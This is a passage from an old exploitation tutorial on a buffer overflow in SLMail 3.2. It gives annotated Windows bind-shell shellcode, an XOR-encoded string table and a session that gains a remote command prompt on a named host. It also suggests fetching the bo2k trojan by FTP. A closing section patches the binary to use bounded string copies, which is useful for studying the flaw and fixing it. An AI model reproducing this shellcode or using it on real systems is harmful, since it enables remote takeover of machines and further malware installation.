  812. ;the sin_port word value will be filled by the exploit client before the
  813. ;shellcode is sent.    
  814.     
  815.     db "cmd.exe",0
  816.     dd 0ffffffffh
  817.     db 00dh, 00ah
  818.  
  819. ;the string to push to invoke the command prompt. 
  820. ;the dword at the end will be used to reference the end of the string table 
  821. ;at runtime.
  822.  
  823.  
  824. Now, I know what you're thinking - all those strings are null-terminated,
  825. and the structures contain null bytes.  To get around this, we will XOR
  826. the string table with 0x99, except for the carriage, linefeed, and the
  827. 0xFFFFFFFF dword.
  828.  
  829. If all went to plan, your encrypted table should look a little something
  830. like this:
  831.  
  832.  
  833. 00000280  .. .. .. .. .. .. .. .. .. .. .. D2 DC CB D7 DC              .....
  834. 00000290  D5 AA AB 99 DA EB FC F8-ED FC C9 F0 E9 FC 99 DE   ................
  835. 000002A0  FC ED CA ED F8 EB ED EC-E9 D0 F7 FF F6 D8 99 DA   ................
  836. 000002B0  EB FC F8 ED FC C9 EB F6-FA FC EA EA D8 99 DA F5   ................
  837. 000002C0  F6 EA FC D1 F8 F7 FD F5-FC 99 C9 FC FC F2 D7 F8   ................
  838. 000002D0  F4 FC FD C9 F0 E9 FC 99-DE F5 F6 FB F8 F5 D8 F5   ................
  839. 000002E0  F5 F6 FA 99 CE EB F0 ED-FC DF F0 F5 FC 99 CB FC   ................
  840. 000002F0  F8 FD DF F0 F5 FC 99 CA-F5 FC FC E9 99 DC E1 F0   ................
  841. 00000300  ED C9 EB F6 FA FC EA EA-99 CE CA D6 DA D2 AA AB   ................
  842. 00000310  99 EA F6 FA F2 FC ED 99-FB F0 F7 FD 99 F5 F0 EA   ................
  843. 00000320  ED FC F7 99 F8 FA FA FC-E9 ED 99 EA FC F7 FD 99   ................
  844. 00000330  EB FC FA EF 99 9B 99 82-A1 99 99 99 99 99 99 99   ................
  845. 00000340  99 99 99 99 99 FA F4 FD-B7 FC E1 FC 99 FF FF FF   ................
  846. 00000350  FF 0D 0A                                          ...
  847.  
  848.  
  849. This will be tacked on to the very end of our shellcode.
  850.  
  851. Now it is time to get to the good stuff.
  852.  
  853. Note: this exploit assumes a base address of 0x00400000
  854.  
  855. The recommended way to follow this is to step over the code in your
  856. debugger while reading the explanations.
  857.  
  858.  
  859. :00000138 33C0                    xor eax, eax
  860. :0000013A 50                      push eax
  861. :0000013B F7D0                    not eax
  862. :0000013D 50                      push eax
  863. :0000013E 59                      pop ecx
  864. :0000013F F2                      repnz
  865. :00000140 AF                      scasd
  866. :00000141 59                      pop ecx
  867. :00000142 B1C6                    mov cl, C6
  868. :00000144 8BC7                    mov eax, edi
  869. :00000146 48                      dec eax
  870. :00000147 803099                  xor byte ptr [eax], 99
  871. :0000014A E2FA                    loop 00000146
  872.  
  873.  
  874. This sets edi to the end of our encrypted string table by scanning the buffer
  875. for our dword (0xFFFFFFFF), ecx holds the amount of characters to decrypt.
  876. edi is then moved to eax, and each byte is decrypted (XORed with 0x99).  eax
  877. now points to the beginning of the string table.
  878.  
  879.  
  880. :0000014C 33F6                    xor esi, esi
  881. :0000014E 96                      xchg eax,esi
  882. :0000014F BB99101144              mov ebx, 44111099
  883. :00000154 C1EB08                  shr ebx, 08
  884. :00000157 56                      push esi
  885. :00000158 FF13                    call dword ptr [ebx]
  886.  
  887.  
  888. Here we make a call to LoadLibraryA, pushing esi as the parameter - which
  889. points to "KERNEL32", the first string of the table.  The call is made by
  890. giving ebx the location of LoadLibrary from SLMails import table, and we
  891. tack on an extra byte to avoid the use of a null character.  We then kill
  892. it by shifting the value right one byte.  LoadLibraryA = 00441110h
  893.  
  894.  
  895. :0000015A 8BD0                    mov edx, eax
  896. :0000015C FC                      cld
  897. :0000015D 33C9                    xor ecx, ecx
  898. :0000015F B10B                    mov cl, 0B
  899. :00000161 49                      dec ecx
  900. :00000162 32C0                    xor al, al
  901. :00000164 AC                      lodsb
  902. :00000165 84C0                    test al, al
  903. :00000167 75F9                    jne 00000162
  904.  
  905.  
  906. We give ecx the amount of procedures we have specified from the kernel, as
  907. we will be creating a jump table for our functions.  Then we just increment
  908. esi until we reach a null byte - moving to the next string name.
  909.  
  910.  
  911. :00000169 52                      push edx
  912. :0000016A 51                      push ecx
  913. :0000016B 56                      push esi
  914. :0000016C 52                      push edx
  915. :0000016D B30C                    mov bl, 0C
  916. :0000016F FF13                    call dword ptr [ebx]
  917. :00000171 AB                      stosd
  918. :00000172 59                      pop ecx
  919. :00000173 5A                      pop edx
  920. :00000174 E2EC                    loop 00000162
  921.  
  922.  
  923. Here we call GetProcAddress, ebx already had the value from LoadLibrary, so we
  924. only need to modify the low byte.  We then store the address at edi, and loop
  925. for the rest of the functions.  We now have a jump table at edi - we can now
  926. call each function indirectly from edi.  e.g.: call dword ptr [edi-0c].
  927.  
  928.  
  929. :00000176 32C0                    xor al, al
  930. :00000178 AC                      lodsb
  931. :00000179 84C0                    test al, al
  932. :0000017B 75F9                    jne 00000176
  933. :0000017D B310                    mov bl, 10
  934. :0000017F 56                      push esi
  935. :00000180 FF13                    call dword ptr [ebx]
  936. :00000182 8BD0                    mov edx, eax
  937. :00000184 FC                      cld
  938. :00000185 33C9                    xor ecx, ecx
  939. :00000187 B106                    mov cl, 06
  940. :00000189 32C0                    xor al, al
  941. :0000018B AC                      lodsb
  942. :0000018C 84C0                    test al, al
  943. :0000018E 75F9                    jne 00000189
  944. :00000190 52                      push edx
  945. :00000191 51                      push ecx
  946. :00000192 56                      push esi
  947. :00000193 52                      push edx
  948. :00000194 B30C                    mov bl, 0C
  949. :00000196 FF13                    call dword ptr [ebx]
  950. :00000198 AB                      stosd
  951. :00000199 59                      pop ecx
  952. :0000019A 5A                      pop edx
  953. :0000019B E2EC                    loop 00000189
  954.  
  955.  
  956. This is just a repeat of the earlier code, except now we are extending our
  957. jump table to include the socket functions.
  958.  
  959.  
  960. :0000019D 83C605                  add esi, 00000005
  961. :000001A0 33C0                    xor eax, eax
  962. :000001A2 50                      push eax
  963. :000001A3 40                      inc eax
  964. :000001A4 50                      push eax
  965. :000001A5 40                      inc eax
  966. :000001A6 50                      push eax
  967. :000001A7 FF57E8                  call [edi-18]
  968. :000001AA 93                      xchg eax,ebx
  969.  
  970.  
  971. Here we push the values SOCK_STREAM, AF_INET, and null for the protocol.  We
  972. then call the 'socket' function.
  973.  
  974. Note: We don't need to call WSAStartup as the target process has taken care of
  975. that for us
  976.  
  977. We also set esi to point to the socket structure, and we store the return
  978. value from the socket procedure in ebx so it won't be destroyed by following
  979. functions.
  980.  
  981.  
  982. :000001AB 6A10                    push 00000010
  983. :000001AD 56                      push esi
  984. :000001AE 53                      push ebx
  985. :000001AF FF57EC                  call [edi-14]
  986.  
  987.  
  988. This just makes a call to bind, pushing our socket handle and the socket
  989. structure as parameters.
  990.  
  991.  
  992. :000001B2 6A02                    push 00000002
  993. :000001B4 53                      push ebx
  994. :000001B5 FF57F0                  call [edi-10]
  995.  
  996.  
  997. Now we call listen, socket handle as the parameter.
  998.  
  999.  
  1000. :000001B8 33C0                    xor eax, eax
  1001. :000001BA 57                      push edi
  1002. :000001BB 50                      push eax
  1003. :000001BC B00C                    mov al, 0C
  1004. :000001BE AB                      stosd
  1005. :000001BF 58                      pop eax
  1006. :000001C0 AB                      stosd
  1007. :000001C1 40                      inc eax
  1008. :000001C2 AB                      stosd
  1009. :000001C3 5F                      pop edi
  1010. :000001C4 48                      dec eax
  1011. :000001C5 50                      push eax
  1012. :000001C6 57                      push edi
  1013. :000001C7 56                      push esi
  1014. :000001C8 AD                      lodsd
  1015. :000001C9 56                      push esi
  1016. :000001CA FF57C0                  call [edi-40]
  1017.  
  1018.  
  1019. Now we make our first call to CreatePipe, we create our SECURITY_ATTRIBUTES
  1020. structure at edi, and specify that the returned handles are inheritable.  esi
  1021. receives our read and write handles returned from the call.
  1022.  
  1023.  
  1024. :000001CD 48                      dec eax
  1025. :000001CE 50                      push eax
  1026. :000001CF 57                      push edi
  1027. :000001D0 AD                      lodsd
  1028. :000001D1 56                      push esi
  1029. :000001D2 AD                      lodsd
  1030. :000001D3 56                      push esi
  1031. :000001D4 FF57C0                  call [edi-40]
  1032.  
  1033.  
  1034. Our second call to CreatePipe, again our read and write handles are stored at
  1035. esi.
  1036.  
  1037.  
  1038. :000001D7 48                      dec eax
  1039. :000001D8 B044                    mov al, 44
  1040. :000001DA 8907                    mov dword ptr [edi], eax
  1041. :000001DC 57                      push edi
  1042. :000001DD FF57C4                  call [edi-3C]
  1043.  
  1044.  
  1045. We make a call to GetStartupInfo, the structure will be stored at edi which we
  1046. give the size value.  The structure will need to be modified.
  1047.  
  1048.  
  1049. :000001E0 33C0                    xor eax, eax
  1050. :000001E2 8B46F4                  mov eax, dword ptr [esi-0C]
  1051. :000001E5 89473C                  mov dword ptr [edi+3C], eax
  1052. :000001E8 894740                  mov dword ptr [edi+40], eax
  1053. :000001EB 8B06                    mov eax, dword ptr [esi]
  1054. :000001ED 894738                  mov dword ptr [edi+38], eax
  1055. :000001F0 33C0                    xor eax, eax
  1056. :000001F2 66B80101                mov ax, 0101
  1057. :000001F6 89472C                  mov dword ptr [edi+2C], eax
  1058. :000001F9 57                      push edi
  1059. :000001FA 57                      push edi
  1060. :000001FB 33C0                    xor eax, eax
  1061. :000001FD 50                      push eax
  1062. :000001FE 50                      push eax
  1063. :000001FF 50                      push eax
  1064. :00000200 40                      inc eax
  1065. :00000201 50                      push eax
  1066. :00000202 48                      dec eax
  1067. :00000203 50                      push eax
  1068. :00000204 50                      push eax
  1069. :00000205 AD                      lodsd
  1070. :00000206 56                      push esi
  1071. :00000207 33C0                    xor eax, eax
  1072. :00000209 50                      push eax
  1073. :0000020A FF57C8                  call [edi-38]
  1074.  
  1075.  
  1076. By all means feel free to improve this code to drop some bytes, for example,
  1077. using stosd to modify edi. At the time I was just trying to make it _work_,
  1078. and wasn't particularly worried about the size.  What the hell is going on
  1079. here anyway?
  1080.  
  1081. We are modifying the startupinfo structure before our call to CreateProcess.
  1082.  
  1083. We replace StdOutput and StdError with the handle of the write end of our
  1084. first created pipe.  We then replace StdInput with the read handle of our
  1085. second created pipe.  The flags value we set to
  1086. STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES, and we set the ShowWindow value
  1087. to SW_HIDE.  esi points to "cmd.exe" and we make the call to CreateProcess.
  1088.  
  1089.  
  1090. :0000020D FF76F0                  push [esi-10]
  1091. :00000210 FF57CC                  call [edi-34]
  1092. :00000213 FF76FC                  push [esi-04]
  1093. :00000216 FF57CC                  call [edi-34]
  1094.  
  1095.  
  1096. CloseHandle is called to close the first read and the second write handles we
  1097. used for our StdHandles.
  1098.  
  1099.  
  1100. :00000219 48                      dec eax
  1101. :0000021A 50                      push eax
  1102. :0000021B 50                      push eax
  1103. :0000021C 53                      push ebx
  1104. :0000021D FF57F4                  call [edi-0C]
  1105. :00000220 8BD8                    mov ebx, eax
  1106.  
  1107.  
  1108. Now we call accept and wait for a connection.  We store the returned handle in
  1109. ebx.
  1110.  
  1111.  
  1112. :00000222 33C0                    xor eax, eax
  1113. :00000224 B404                    mov ah, 04
  1114. :00000226 50                      push eax
  1115. :00000227 C1E804                  shr eax, 04
  1116. :0000022A 50                      push eax
  1117. :0000022B FF57D4                  call [edi-2C]
  1118. :0000022E 8BF0                    mov esi, eax
  1119.  
  1120.  
  1121. Here we create a 1024 byte buffer with GlobalAlloc, pushing
  1122. GMEM_FIXED+GMEM_ZEROINIT which will return a handle that we place in esi.
  1123.  
  1124.  
  1125. :00000230 33C0                    xor eax, eax
  1126. :00000232 8BC8                    mov ecx, eax
  1127. :00000234 B504                    mov ch, 04
  1128. :00000236 50                      push eax
  1129. :00000237 50                      push eax
  1130. :00000238 57                      push edi
  1131. :00000239 51                      push ecx
  1132. :0000023A 50                      push eax
  1133. :0000023B FF77A8                  push [edi-58]
  1134. :0000023E FF57D0                  call [edi-30]
  1135. :00000241 833F01                  cmp dword ptr [edi], 00000001
  1136. :00000244 7C22                    jl 00000268
  1137.  
  1138.  
  1139. Now we start to get to the guts, this makes a call to PeekNamedPipe to see if
  1140. we have any data in the read end of the pipe (StdOutput/StdError), if not we
  1141. skip the following readfile/send functions as we are waiting on input from
  1142. the user.  edi stores the number of bytes read, [edi-58] is the handle to the
  1143. read end of the pipe.
  1144.  
  1145.  
  1146. :00000246 33C0                    xor eax, eax
  1147. :00000248 50                      push eax
  1148. :00000249 57                      push edi
  1149. :0000024A FF37                    push dword ptr [edi]
  1150. :0000024C 56                      push esi
  1151. :0000024D FF77A8                  push [edi-58]
  1152. :00000250 FF57DC                  call [edi-24]
  1153. :00000253 0BC0                    or eax, eax
  1154. :00000255 742F                    je 00000286
  1155.  
  1156.  
  1157. We call ReadFile and fill our created buffer with the data from the read-end
  1158. of the pipe, we push the bytesread parameter from our earlier call to
  1159. PeekNamedPipe.  If the function fails, i.e.: the command prompt was exited
  1160. - then we jump to the end of our shellcode and call ExitProcess, which will
  1161. kill the slmail process.
  1162.  
  1163. :00000257 33C0                    xor eax, eax
  1164. :00000259 50                      push eax
  1165. :0000025A FF37                    push dword ptr [edi]
  1166. :0000025C 56                      push esi
  1167. :0000025D 53                      push ebx
  1168. :0000025E FF57F8                  call [edi-08]
  1169.  
  1170. Now we call send to fire the data from our buffer off to the connected user.
  1171.  
  1172.  
  1173. :00000261 6A50                    push 00000050
  1174. :00000263 FF57E0                  call [edi-20]
  1175. :00000266 EBC8                    jmp 00000230
  1176.  
  1177.  
  1178. Call Sleep and jump back to PeekNamedPipe.
  1179.  
  1180.  
  1181. :00000268 33C0                    xor eax, eax
  1182. :0000026A 50                      push eax
  1183. :0000026B B404                    mov ah, 04
  1184. :0000026D 50                      push eax
  1185. :0000026E 56                      push esi
  1186. :0000026F 53                      push ebx
  1187. :00000270 FF57FC                  call [edi-04]
  1188.  
  1189.  
  1190. This is the point we get to if there was no data in the read pipe, so we call
  1191. recv and receive input from the user.
  1192.  
  1193.  
  1194. :00000273 57                      push edi
  1195. :00000274 33C9                    xor ecx, ecx
  1196. :00000276 51                      push ecx
  1197. :00000277 50                      push eax
  1198. :00000278 56                      push esi
  1199. :00000279 FF77AC                  push [edi-54]
  1200. :0000027C FF57D8                  call [edi-28]
  1201.  
  1202.  
  1203. We push the handle of the write end of our pipe (StdInput), and we call
  1204. WriteFile sending the buffer from the user.  i.e.: we make it happen.
  1205.  
  1206.  
  1207. :0000027F 6A50                    push 00000050
  1208. :00000281 FF57E0                  call [edi-20]
  1209. :00000284 EBAA                    jmp 00000230
  1210.  
  1211.  
  1212. Call Sleep again and jump back to PeekNamedPipe.
  1213.  
  1214.  
  1215. :00000286 50                      push eax
  1216. :00000287 FF57E4                  call [edi-1C]
  1217. :0000028A 90                      nop
  1218.  
  1219.  
  1220. The shell has been exited so we call ExitProcess to clean up our mess.
  1221.  
  1222. And there we have it, full control is at our fingertips.
  1223.  
  1224. Before we enter the last section, on modifying the executable of our
  1225. target, I'll give a quick example of the exploit in action.
  1226.  
  1227.  
  1228. Ownership.
  1229. ~~~~~~~~~~
  1230.  
  1231. E:\exploits>slxploit supermax.gen.nz 8376 1234
  1232. SLMail (3.2.3113) remote.
  1233. by Barnaby Jack AKA dark spyrit <dspyrit@beavuh.org>
  1234.  
  1235. usage: slxploit <host> <port> <port to bind shell>
  1236. e.g. - slxploit host.com 27 1234
  1237.  
  1238. waiting for response....
  1239. 220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
  1240.  
  1241. sent.. spawn connection now.
  1242.  
  1243.  
  1244. Trying 192.168.10.3...
  1245. Connected to supermax.gen.nz.
  1246. Escape character is '^]'.
  1247. Microsoft(R) Windows NT(TM)
  1248. (C) Copyright 1985-1996 Microsoft Corp.
  1249.  
  1250. E:\Program Files\SLmail\SYSTEM>
  1251. E:\Program Files\SLmail\SYSTEM>at
  1252. The service has not been started.
  1253.  
  1254. E:\Program Files\SLmail\SYSTEM>net start schedule
  1255.  
  1256. The Schedule service is starting.
  1257. The Schedule service was started successfully.
  1258.  
  1259. E:\Program Files\SLmail\SYSTEM>time
  1260. The current time is: 23:49:36.36
  1261. Enter the new time:
  1262.  
  1263. E:\Program Files\SLmail\SYSTEM>at 23:51:00 net start slmail
  1264. Added a new job with job ID = 0
  1265.  
  1266. E:\Program Files\SLmail\SYSTEM>net view
  1267. Server Name            Remark
  1268.  
  1269. -------------------------------------------------------------------------------
  1270. \\SUPERMAX
  1271. The command completed successfully.
  1272.  
  1273. E:\Program Files\SLmail\SYSTEM>net send supermax beavuh 99.
  1274. The message was successfully sent to SUPERMAX.
  1275.  
  1276.  
  1277. E:\Program Files\SLmail\SYSTEM>exit
  1278. exit
  1279. Connection closed by foreign host.
  1280.  
  1281. Plenty of options, you could also create a file with ftp commands, to
  1282. download bo2k for example, and use NT's console ftp.
  1283. e.g. ftp -s:file host.
  1284.  
  1285.  
  1286. Section 3: The Remedy.
  1287. ~~~~~~~~~~~~~~~~~~~~~~
  1288.  
  1289. This is perhaps the most important section of the paper, and is not just
  1290. useful for preventing vulnerabilities - the ability to add your own code
  1291. leaves open an endless amount of possibilities as you can imagine.
  1292.  
  1293. I advise that you have a look at some documentation on the PE file format,
  1294. Matt Peitreks book "Windows 95 System Programming Secrets" has an excellent
  1295. section, otherwise take a look at
  1296. http://msdn.microsoft.com/library/specs/msdn_pecoff.htm for Microsoft's
  1297. documentation.
  1298.  
  1299. Consider this hypothetical situation for a minute:
  1300.  
  1301. A huge hole is found rendering most NT servers on the internet vulnerable
  1302. to remote system access.  Microsoft stumbles around for a week or so before
  1303. releasing a suitable patch, while during this time some of the largest
  1304. corporations have little to do but pray they won't fall victim to an attack,
  1305. or make the change to alternative software.  Hey, that happened a couple of
  1306. months ago! :)  But there is an alternative, patch the software yourself.
  1307.  
  1308. There are 3 main approaches we can take to add our own code.
  1309.  
  1310. 1, Add our code to unused space in a section.
  1311. 2, Increase the size of the last section.
  1312. 3, Add a new section.
  1313.  
  1314. The first is the technique we will use, to see an example of the second
  1315. approach have a look at my trojan netstat which will be available at
  1316. http://www.rootkit.com in the near future.
  1317.  
  1318. Adding your own section - at least as far as what we are doing, won't
  1319. normally be needed, so I won't cover the techniques in this document.
  1320.  
  1321. Now we need to think about the code we will add, here's a few options:
  1322.  
  1323. Add our own string length routine, and print out an error message
  1324. depending on the length.. then skip the nasty functions.
  1325.  
  1326. Add our own string length routine, and place a null at the beginning of
  1327. the buffer depending on the length, so effectively the program thinks
  1328. there was no input and will return a standard 'syntax error' message.
  1329.  
  1330. Replace the offending strcpy function with a bounds checking version - i.e.:
  1331. do what they should have done in the first place.
  1332.  
  1333. I think it's obvious the approach we will take, the first option would be
  1334. too involved, the second just isn't delicate - so we'll go with the last.
  1335.  
  1336. It just so happens that in this case lstrcpynA is in our targets import
  1337. table (if this wasn't the case? we would use the same techniques as shown
  1338. in the shellcode - using the LoadLibrary and GetProcAddress procedures).
  1339.  
  1340. Grab PE Dump or dumpbin, whatever you have on you.. and dump the section
  1341. table for slmail.exe, if you haven't worked with the PE header before I'll
  1342. explain a little as we go.
  1343.  
  1344.  
  1345. Section Table
  1346.   01 .text     VirtSize: 0003F99B  VirtAddr:  00001000
  1347.     raw data offs:   00001000  raw data size: 00040000
  1348.     relocation offs: 00000000  relocations:   00000000
  1349.     line # offs:     00000000  line #'s:      00000000
  1350.     characteristics: 60000020
  1351.       CODE  MEM_EXECUTE  MEM_READ
  1352.  
  1353.  
  1354. The section we will be working with is the .text section - where the code
  1355. is located.  We can see here that the Virtual Size (the actual size of the
  1356. code) is somewhat smaller than the raw data size (the amount of space that is
  1357. actually taken up).  So if we subtract the Virtual Size from the raw data
  1358. size :
  1359.  
  1360. 0x40000 - 0x3f99b = 0x665
  1361.  
  1362. That gives us about 1.6k to play with, easily enough space for what we want to
  1363. do.
  1364.  
  1365. Why do we have this extra space? 
  1366.  
  1367. Because compilers usually round up the size to align the section, which is
  1368. handy for us :)
  1369.  
  1370. Fire up your hex editor, and jump to the address 0x4099b (virtual size +
  1371. raw data offset) and you'll notice we have a ton of null bytes, about 1.6k
  1372. worth in fact.  This is a perfect place to dump our code - but before we do..
  1373.  
  1374. We need to increase the Virtual Size to allow for our code, we may as well
  1375. increase it to the largest available size, it won't hurt.  We also need to
  1376. modify the flags, as you saw from the dump the .text section is defined code,
  1377. readable and executable.
  1378.  
  1379. The values are as follows:
  1380.  
  1381.  
  1382. IMAGE_SCN_CNT_CODE    equ       000000020h  
  1383. IMAGE_SCN_MEM_EXECUTE    equ       020000000h  
  1384. IMAGE_SCN_MEM_READ      equ       040000000h 
  1385.  
  1386.  
  1387. To get the final value we OR each of the flags, which results in 060000020h.
  1388.  
  1389. But, if we wish to write data to our code space, to avoid page faults we also
  1390. need to make the section writeable - we may not have the need, but it doesn't
  1391. hurt to change the flags anyway.
  1392.  
  1393.  
  1394. IMAGE_SCN_MEM_WRITE     equ       080000000h
  1395.  
  1396.  
  1397. So we OR this value with 060000020h and we get 0E0000020h.  This is the new
  1398. value we will add to the exe.
  1399.  
  1400. Jump back into the hex editor and we'll make these changes permanent, to find
  1401. the Virtual Size value for the .text section, simply do a search for .text
  1402. and the following value is the culprit.
  1403.  
  1404.  
  1405. 000001D0  00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00   .........text...
  1406. 000001E0  9B F9 03 00  <====                                ....
  1407.  
  1408.  
  1409. To set this to the maximum allowed value we just replace with the raw data
  1410. size:
  1411.  
  1412.  
  1413. 000001E0  00 00 04 00 
  1414.  
  1415.  
  1416. And, we also make the change to the flags.
  1417.  
  1418.  
  1419. 000001D0  00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00   .........text...
  1420. 000001E0  9B F9 03 00 00 10 00 00-00 00 04 00 00 10 00 00   ................
  1421. 000001F0  00 00 00 00 00 00 00 00-00 00 00 00 20 00 00 60   <=====
  1422.  
  1423.  
  1424. We replace with our new value that allows us to write to the code space:
  1425.  
  1426.  
  1427. 000001F0  00 00 00 00 00 00 00 00-00 00 00 00 20 00 00 E0
  1428.  
  1429.  
  1430. We'll quickly verify our changes with PE Dump, then we can actually get to
  1431. what we're here for, getting our code executing.
  1432.  
  1433.  
  1434. Section Table
  1435.   01 .text     VirtSize: 00040000  VirtAddr:  00001000
  1436.     raw data offs:   00001000  raw data size: 00040000
  1437.     relocation offs: 00000000  relocations:   00000000
  1438.     line # offs:     00000000  line #'s:      00000000
  1439.     characteristics: E0000020
  1440.       CODE  MEM_EXECUTE  MEM_READ  MEM_WRITE
  1441.  
  1442.  
  1443. And there we have it, our virtual size equals the raw data size, and we now
  1444. also have the writeable flag.
  1445.  
  1446. What we need to do now, is find a location to jump to our own code. 
  1447.  
  1448.  
  1449. 004364AE                 push    edi
  1450. 004364AF                 push    eax ; we jump here.
  1451. 004364B0                 push    esi
  1452. 004364B1                 call    ds:lstrcpyA
  1453.  
  1454.  
  1455. We'll get rid of the strcpy call, and make a jump to our code at the 'push
  1456. eax'.  We know our code resides at RVA (relative virtual address) 0x4099b
  1457. so we make our jump.  We can assemble our jumps in tasm:
  1458.  
  1459. jmp $+(04099bh-0364afh)
  1460.  
  1461. (RVA of our code - RVA of current location)
  1462.  
  1463. Or, we can do it straight from the debugger.
  1464.  
  1465.  
  1466. Let's make it perm.. the code follows:
  1467.  
  1468.  
  1469. :004364AA 8B742478                mov esi, dword ptr [esp+78]
  1470. :004364AE 57                      push edi
  1471. :004364AF E9E7A40000              jmp 0044099B     ;jump to our code
  1472.  
  1473. * Referenced by a (U)nconditional or (C)onditional Jump at Address:
  1474. |:004409A9(U)
  1475. |
  1476. :004364B4 59                      pop ecx          ;restore ecx on return
  1477. :004364B5 90                      nop
  1478. :004364B6 90                      nop
  1479.  
  1480.  
  1481. * Referenced by a (U)nconditional or (C)onditional Jump at Address:
  1482. |:004364AF(U)
  1483. |
  1484. :0044099B 51                      push ecx          ;preserve ecx
  1485. :0044099C 52                      push edx          ;preserve edx
  1486. :0044099D E800000000              call 004409A2
  1487.  
  1488. * Referenced by a CALL at Address:
  1489. |:0044099D   
  1490. |
  1491. :004409A2 5A                      pop edx           ;get eip
  1492. :004409A3 81EAA2090400            sub edx, 000409A2 ;get image base
  1493. :004409A9 81C264110400            add edx, 00041164 ;point to strcpyn
  1494. :004409AF 33C9                    xor ecx, ecx
  1495. :004409B1 B160                    mov cl, 60        ;allow 96 bytes 
  1496. :004409B3 51                      push ecx
  1497. :004409B4 50                      push eax          ;our input
  1498. :004409B5 56                      push esi          ;buffer 
  1499. :004409B6 FF12                    call dword ptr [edx]  ;call strcpyn 
  1500. :004409B8 5A                      pop edx             ;restore edx
  1501. :004409B9 E9F65AFFFF              jmp 004364B4        ;back to proggie.
  1502.  
  1503. Yeah, I know, W32Dasm - but hey, its fast and easy for showing code dumps
  1504. :)
  1505.  
  1506. The stack pointer is basically kept in tact, so we don't need to worry about
  1507. screwing with it.
  1508.  
  1509. Now, this should have solved our problem - let's check.
  1510.  
  1511. 220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
  1512. expn <10 or so lines of x's>
  1513.  
  1514. Connection closed by foreign host.
  1515.  
  1516. Whoops, the slmail process dies.
  1517.  
  1518. Guess what? there's another overflow.  This software is shocking, widely
  1519. used shocking software might I add.  Well, let us fix this one also.
  1520.  
  1521. A couple of rets, and we quickly find the offending code:
  1522.  
  1523.  
  1524. 00404bb1    mov    esi, eax
  1525. 00404bb3    push    edi    
  1526. 00404bb4    push    ecx    
  1527. 00404bb5    call    [KERNEL32!lstrcpy]
  1528.  
  1529.  
  1530. edi contains our input, ecx the buffer.
  1531.  
  1532. Here we go again.
  1533.  
  1534. We'll put our code directly after our earlier modifications (0x409be), and
  1535. we'll kill this strcpy call and jump to our code at 'push edi'.
  1536.  
  1537.  
  1538. :00404BB1 8BF0                    mov esi, eax
  1539. :00404BB3 E906BE0300              jmp 004409BE  ;jump to our code
  1540.  
  1541. * Referenced by a (U)nconditional or (C)onditional Jump at Address:
  1542. |:004409E0(U)
  1543. |
  1544. :00404BB8 90                      nop
  1545. :00404BB9 90                      nop
  1546. :00404BBA 90                      nop
  1547.  
  1548. * Referenced by a (U)nconditional or (C)onditional Jump at Address:
  1549. |:00404BB3(U)
  1550. |
  1551. :004409BE 90                      nop
  1552. :004409BF 52                      push edx        ;preserve edx
  1553. :004409C0 E800000000              call 004409C5
  1554.  
  1555. * Referenced by a CALL at Address:
  1556. |:004409C0   
  1557. |
  1558. :004409C5 5A                      pop edx         ;get eip
  1559. :004409C6 81EAC5090400            sub edx, 000409C5  ;get image base
  1560. :004409CC 81C264110400            add edx, 00041164  ;address for strcpyn
  1561. :004409D2 33C0                    xor eax, eax
  1562. :004409D4 B060                    mov al, 60         ;allow 96 byes
  1563. :004409D6 50                      push eax 
  1564. :004409D7 57                      push edi           ;input
  1565. :004409D8 51                      push ecx           ;buffer
  1566. :004409D9 FF12                    call dword ptr [edx]  ;call strcpyn
  1567. :004409DB 5A                      pop edx         ;restore edx
  1568. :004409DC C6476000                mov [edi+60], 00    ;cut the goddamn
  1569.                                                         ;input short,
  1570.                                                         ;incase there is 
  1571.                                                         ;even more overflows 
  1572. :004409E0 E9D341FCFF              jmp 00404BB8 ;return to the prog.
  1573.  
  1574.  
  1575. This time...
  1576.  
  1577. 220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
  1578. expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1579. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1580. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1581. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1582. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1583. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1584. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1585. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1586. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1587. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1588. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1589. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1590. xxxxxxxxxxxxxxxxxxxxxxxxxxx
  1591. 550 Unable to find list 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1592. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'.
  1593. quit
  1594. 221 supermax.gen.nz Service Closing
  1595. Connection closed by foreign host.
  1596.  
  1597.  
  1598. And so it was done, 15 minutes work and we've fixed a terribly serious hole.
  1599.  
  1600. No source? no problem.
  1601.  
